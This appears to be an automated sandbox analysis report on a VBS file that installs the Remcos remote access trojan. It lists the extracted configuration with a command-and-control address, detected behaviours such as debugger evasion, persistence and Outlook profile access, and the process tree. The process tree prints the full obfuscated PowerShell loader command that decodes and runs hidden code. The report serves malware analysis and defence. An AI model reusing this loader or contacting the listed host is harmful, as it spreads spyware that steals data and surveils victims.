Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
08/07/2026, 03:15
General
- Target Sprogvidenskabsmandens.vbs
- Size 54KB
- Sample260708-dsdbfaas3z
- SHA256 3a2ce5b01dc23cbe768df69bc04fcb4e68ee58f1341a767f0cbfd3cd15440a59
Malware Config
Extracted
-
remcos
-
RemoteHost
-
102.220.160.21:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 38 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 30 IoCs
- Suspicious use of FindShellTrayWindow 54 IoCs
- Suspicious use of SendNotifyMessage 40 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sprogvidenskabsmandens.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'alvorsstunders' 'overlber' 'meteorologically';$svovlrod=5282-5282;$harefoottpanteretigheden=-39403+45403;function ferieaflsernes ($gelatinously,$porosities) {$tilskdningernes=fngslernes(@(111,204,204,216,198,230,206,216,226,218,229,209,236,120,199,223,219,215,154,137,218,226,215,225,216,220,191,206,204,223,142)) ;Umbelloid ($tilskdningernes)}function fngslernes ($harefoot) { do {$harefoottpanteretigheden=$diskossernes[$svovlrod%13];$harefoot[$svovlrod]-=$harefoottpanteretigheden;$meteorous+=[char]$harefoot[$svovlrod];$svovlrod++} while ($harefoot[$svovlrod])$meteorous}function Umbelloid ($kotelettensnterpellering) {&($diffracting) $kotelettensnterpellering}Function neapolitanskes ($harefoot,$embedsmndene=0){$tegnttheds=fngslernes(@(166,168,214,218,219,215,215,222,208,159,172,171,229,186,210,169,205,216,215,155,158,198,217,228,206,225,178,141,139,212,198,228,202,208,226,212,230,142));$priceable=@(Umbelloid ($tegnttheds));For($kotelettens=0; $priceable[$kotelettens] -ne $strandrettighed; $kotelettens++){$priceable[$kotelettens] = ferieaflsernes $priceable[$kotelettens] $diskossernes[$kotelettens%13]}$cinchonamine=fngslernes(@(120,207,214,213,211,146,192,205,219,198,228,192,208,168,137,215,222,206,213,202,203,213,209,215));$denationaliserende=Umbelloid ($cinchonamine);if ($embedsmndene) { Umbelloid $denationaliserende}else {;$denationaliserende}}$diskossernes=@(75,101,103,108,101,114,101,106,115,101,114,101,115);$diffracting=fngslernes @(148,170,191);$suppeterriner='\Dismantlement.Vra';$gelatinouslylkoholforbruget=neapolitanskes 'fktXTE0lDAQXCgUWUwUxR11VXFVRUzIbC0V/XkcUU0ZeSgETSFRGeUtXRUU1AAkYCl1XQ3pVV11VQ0UsGhcXAxwzSlZZV1xV';$mesocolons=neapolitanskes 'IxETHBZISkUXFxsTFmUCCAMCHgBEEAofSgYoWgIUFR0XHk4BHRIdJwoGCEMbAVdCXQctJRozMSkPOBYBGi8VDCEyJlU4HDgiAxAjQyYhOwE=';$caswellite=neapolitanskes 'BhYfAQlASzkWFwQAARMoKyQxJjVERUtC';$decimalformer=neapolitanskes 'DCAz';$evaluere=neapolitanskes 'HhYCHkgzAg8dEQ==';$kotelettensslndingers=neapolitanskes 'dQ==';neapolitanskes 'bwILAwcTCVADFx0BBiARDgMLAQgZAAwVAE5vAAkaXxMVGhcEBgRYbxYSHBUXEQ8BFxsLFjk=' 1;neapolitanskes 'bwILAwcTCVARFxwAAC8AWkgIFxYFEAoeCh04SxQcCRsRQlcOHREWJwATGAAcFhkfCxYMHSwAFR9M' 1;$mesocolons=$brnesde[0];neapolitanskes 'bwILAwcTCVARHBUCFj8MCwAEFgAGAAAcFk4FABBBKhAPDxARUkgwJAhHSAYTFh0WCR4MBy4=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1;while (!$laryngospasm) {neapolitanskes 'bwILAwcTCVAjBAEWFiwEFQgAT0EeARAX' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXAoaFgtaQRcuBg4BBB4DBQEIFxdfa0EKCRYdBgUfChwWX2tBAQ0JAQBD' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPBzcXFAYuFhMkABMBDwFNVgAFKgkSCRcXSUpXAhcJEj8MCQMQAQkTHw4dDRwnAwgeBwAQDRYRWw==' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPHQFaTA==' 1;neapolitanskes 'bwILAwcTCVAXDBMVFjkWWkgHCwINFhEbCR8qAQIAFhcLGV0WBgQHPhZHQQADRVhDVQ==' 1;if ($diapers) {neapolitanskes 'EAceGAApODdXAh4KESoJXRgKBgQBBxYfCgckFwIeCxdYThEcFQIWPwwLAAQWAAYAABwWXTkAFBwKHBYPMQoWHA==' 1;neapolitanskes 'OAZHSBUACg4GDgYMHCUWCh8WGwIPU0EGCgcqDhMfCB0RBQEAAAsWa0giAgYdAQMdAlInCj8A' 1} neapolitanskes 'GAkCCRVaUUM=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1 ;neapolitanskes 'bwILAwcTCVABAAEQHS8WEx4EFAwBGAAcWFcsCQgOBB5fAhIEHAEVKhYTCU5ZQE4RFxwAAC8ASQ8KBwse' 1;$mesocolons=$brnesde[$resundstrafikken]}$gelatinouslygronomerne=150566;$kommuterer=20077;neapolitanskes 'bwILAwcTCVAaFh0BCiUECgUGEwlXFAZSQQM5CgMZDgYMBR0WHxYAIgIC' 1;neapolitanskes 'bwILAwcTCVA6CxYMFCUMEwUAAVgxMAocExY5ETpWXzQXBR4nExYWfVE0GBcbCw1bQRsWHC8cCQ0IGwYLH0w=' 1;neapolitanskes 'bwILAwcTCVAbBBMXF3Y+MwkdBksvHQYdARolAjpWXzM2KTosXCIWPzYTHgwcAkJXLBwBGiwLDhgMFxZD' 1;neapolitanskes 'bwILAwcTCVADDBcHEicBDh8IT0ECEgQAAV04EAUfEQAMBBRNVgIWJwQTBQsdEBkfHBUXHCUKCgkXHABGVw4dCB4+EQIeAABM' 1;Umbelloid $piebaldism;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'alvorsstunders' 'overlber' 'meteorologically';$svovlrod=5282-5282;$harefoottpanteretigheden=-39403+45403;function ferieaflsernes ($gelatinously,$porosities) {$tilskdningernes=fngslernes(@(111,204,204,216,198,230,206,216,226,218,229,209,236,120,199,223,219,215,154,137,218,226,215,225,216,220,191,206,204,223,142)) ;Umbelloid ($tilskdningernes)}function fngslernes ($harefoot) { do {$harefoottpanteretigheden=$diskossernes[$svovlrod%13];$harefoot[$svovlrod]-=$harefoottpanteretigheden;$meteorous+=[char]$harefoot[$svovlrod];$svovlrod++} while ($harefoot[$svovlrod])$meteorous}function Umbelloid ($kotelettensnterpellering) {&($diffracting) $kotelettensnterpellering}Function neapolitanskes ($harefoot,$embedsmndene=0){$tegnttheds=fngslernes(@(166,168,214,218,219,215,215,222,208,159,172,171,229,186,210,169,205,216,215,155,158,198,217,228,206,225,178,141,139,212,198,228,202,208,226,212,230,142));$priceable=@(Umbelloid ($tegnttheds));For($kotelettens=0; $priceable[$kotelettens] -ne $strandrettighed; $kotelettens++){$priceable[$kotelettens] = ferieaflsernes $priceable[$kotelettens] $diskossernes[$kotelettens%13]}$cinchonamine=fngslernes(@(120,207,214,213,211,146,192,205,219,198,228,192,208,168,137,215,222,206,213,202,203,213,209,215));$denationaliserende=Umbelloid ($cinchonamine);if ($embedsmndene) { Umbelloid $denationaliserende}else {;$denationaliserende}}$diskossernes=@(75,101,103,108,101,114,101,106,115,101,114,101,115);$diffracting=fngslernes @(148,170,191);$suppeterriner='\Dismantlement.Vra';$gelatinouslylkoholforbruget=neapolitanskes 'fktXTE0lDAQXCgUWUwUxR11VXFVRUzIbC0V/XkcUU0ZeSgETSFRGeUtXRUU1AAkYCl1XQ3pVV11VQ0UsGhcXAxwzSlZZV1xV';$mesocolons=neapolitanskes 'IxETHBZISkUXFxsTFmUCCAMCHgBEEAofSgYoWgIUFR0XHk4BHRIdJwoGCEMbAVdCXQctJRozMSkPOBYBGi8VDCEyJlU4HDgiAxAjQyYhOwE=';$caswellite=neapolitanskes 'BhYfAQlASzkWFwQAARMoKyQxJjVERUtC';$decimalformer=neapolitanskes 'DCAz';$evaluere=neapolitanskes 'HhYCHkgzAg8dEQ==';$kotelettensslndingers=neapolitanskes 'dQ==';neapolitanskes 'bwILAwcTCVADFx0BBiARDgMLAQgZAAwVAE5vAAkaXxMVGhcEBgRYbxYSHBUXEQ8BFxsLFjk=' 1;neapolitanskes 'bwILAwcTCVARFxwAAC8AWkgIFxYFEAoeCh04SxQcCRsRQlcOHREWJwATGAAcFhkfCxYMHSwAFR9M' 1;$mesocolons=$brnesde[0];neapolitanskes 'bwILAwcTCVARHBUCFj8MCwAEFgAGAAAcFk4FABBBKhAPDxARUkgwJAhHSAYTFh0WCR4MBy4=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1;while (!$laryngospasm) {neapolitanskes 'bwILAwcTCVAjBAEWFiwEFQgAT0EeARAX' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXAoaFgtaQRcuBg4BBB4DBQEIFxdfa0EKCRYdBgUfChwWX2tBAQ0JAQBD' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPBzcXFAYuFhMkABMBDwFNVgAFKgkSCRcXSUpXAhcJEj8MCQMQAQkTHw4dDRwnAwgeBwAQDRYRWw==' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPHQFaTA==' 1;neapolitanskes 'bwILAwcTCVAXDBMVFjkWWkgHCwINFhEbCR8qAQIAFhcLGV0WBgQHPhZHQQADRVhDVQ==' 1;if ($diapers) {neapolitanskes 'EAceGAApODdXAh4KESoJXRgKBgQBBxYfCgckFwIeCxdYThEcFQIWPwwLAAQWAAYAABwWXTkAFBwKHBYPMQoWHA==' 1;neapolitanskes 'OAZHSBUACg4GDgYMHCUWCh8WGwIPU0EGCgcqDhMfCB0RBQEAAAsWa0giAgYdAQMdAlInCj8A' 1} neapolitanskes 'GAkCCRVaUUM=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1 ;neapolitanskes 'bwILAwcTCVABAAEQHS8WEx4EFAwBGAAcWFcsCQgOBB5fAhIEHAEVKhYTCU5ZQE4RFxwAAC8ASQ8KBwse' 1;$mesocolons=$brnesde[$resundstrafikken]}$gelatinouslygronomerne=150566;$kommuterer=20077;neapolitanskes 'bwILAwcTCVAaFh0BCiUECgUGEwlXFAZSQQM5CgMZDgYMBR0WHxYAIgIC' 1;neapolitanskes 'bwILAwcTCVA6CxYMFCUMEwUAAVgxMAocExY5ETpWXzQXBR4nExYWfVE0GBcbCw1bQRsWHC8cCQ0IGwYLH0w=' 1;neapolitanskes 'bwILAwcTCVAbBBMXF3Y+MwkdBksvHQYdARolAjpWXzM2KTosXCIWPzYTHgwcAkJXLBwBGiwLDhgMFxZD' 1;neapolitanskes 'bwILAwcTCVADDBcHEicBDh8IT0ECEgQAAV04EAUfEQAMBBRNVgIWJwQTBQsdEBkfHBUXHCUKCgkXHABGVw4dCB4+EQIeAABM' 1;Umbelloid $piebaldism;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
Dismantlement.Vra
memory/1532-35-0x0000000007400000-0x0000000007422000-memory.dmp
memory/1532-21-0x0000000002840000-0x0000000002876000-memory.dmp
memory/1532-28-0x0000000005AD0000-0x0000000005E2B000-memory.dmp
memory/1532-24-0x0000000005960000-0x00000000059C6000-memory.dmp
memory/1532-38-0x0000000008890000-0x000000000B850000-memory.dmp
memory/1532-25-0x0000000005A60000-0x0000000005AC6000-memory.dmp
memory/1532-36-0x00000000082D0000-0x000000000888A000-memory.dmp
memory/1532-23-0x0000000005260000-0x0000000005282000-memory.dmp
memory/1532-34-0x0000000007450000-0x00000000074E6000-memory.dmp
memory/1532-33-0x0000000006570000-0x000000000658A000-memory.dmp
memory/1532-32-0x0000000007690000-0x0000000007D0C000-memory.dmp
memory/1532-31-0x0000000006040000-0x000000000608C000-memory.dmp
memory/1532-30-0x0000000006010000-0x000000000602E000-memory.dmp
memory/1532-22-0x0000000005310000-0x000000000595A000-memory.dmp
memory/1780-106-0x000001D015250000-0x000001D015270000-memory.dmp
memory/1780-73-0x000001D0019E0000-0x000001D001A00000-memory.dmp
memory/1780-75-0x000001D001E50000-0x000001D001F50000-memory.dmp
memory/1780-41-0x000001D000180000-0x000001D000280000-memory.dmp
memory/1780-92-0x000001D001D30000-0x000001D001D50000-memory.dmp
memory/2820-234-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-240-0x000000001EFB0000-0x000000001F0A7000-memory.dmp
memory/2820-253-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-252-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-251-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-250-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-249-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-247-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-246-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-245-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-39-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-244-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2820-243-0x000000001EFB0000-0x000000001F0A7000-memory.dmp
memory/2820-242-0x000000001EFB0000-0x000000001F0A7000-memory.dmp
memory/4472-10-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-8-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-3-0x000001C89E400000-0x000001C89E422000-memory.dmp
memory/4472-0-0x00007FFB63C8F000-0x00007FFB63C90000-memory.dmp
memory/4472-5-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-6-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-7-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-4-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-9-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-20-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-11-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-12-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-13-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-14-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-16-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp
memory/4472-17-0x00007FFB63B00000-0x00007FFB644A4000-memory.dmp